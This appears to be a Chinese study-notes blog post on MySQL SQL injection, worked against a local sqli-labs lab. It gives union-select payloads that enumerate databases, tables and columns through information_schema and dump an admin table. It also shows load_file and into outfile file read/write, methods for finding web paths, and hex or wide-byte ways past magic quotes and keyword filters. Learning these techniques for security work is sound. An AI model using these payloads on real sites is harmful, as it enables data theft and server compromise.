13.MySQL注入

105 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

前言

MYSQL 注入中首先要明确当前注入点权限,高权限注入时有更多的 攻击手法,有的能直接进行 getshell 操作。其中也会遇到很多阻碍,相关 防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需 要了解其中的手法和原理,这样才是一个合格的安全工作者。

在这里插入图片描述

知识点

高权限注入及低权限注入

跨库查询及应用思路

information_schema 表特性,记录库名,表名,列名对应表

获取所有数据库名: http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

获取指定 qqyw 数据库名下的表名信息: union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw‘

获取指定 qqyw 下的表名 admin 下的列名信息: union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw'

获取指定 qqyw 下的 admin 数据: union select 1,u,p from qqyw.admin

文件读写操作

load_file():读取函数

读取文件演示: select load_file(’C:/1.txt‘)

into outfile 或 into dumpfile :导出函数

写入文件演示: select ’123‘ into outfile D:/1.txt

最好使用双斜线//,防止被注释掉

常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客

路径获取常见方法:

报错显示,遗留文件,漏洞报错,平台配置文件,爆破等

报错显示:输入不正确的信息,返回爆错路径

遗留文件: phpinfo.php (可以用扫描工具)

漏洞报错:网站程序 爆路径

爆破:字典爆破

常见读取文件列表:

常见写入文件问题:魔术引号开关 magic_quotes_gpc

魔术引号及常见防护

写入数据中‘ “ / 会被转移

一般采用编码或宽字节绕过 转换为hex编码

相关防注入

自带防御:魔术引号 编码绕过

内置函数:is_int等 无解

自定义关键字:str_replace ('select','error',$id)

WAF防护软件:安全狗、宝塔、阿里云盾、D盾等(原理大部分是过滤关键字,上面的自定义关键字防注入)

低版本注入配合读取或暴力

字典或读取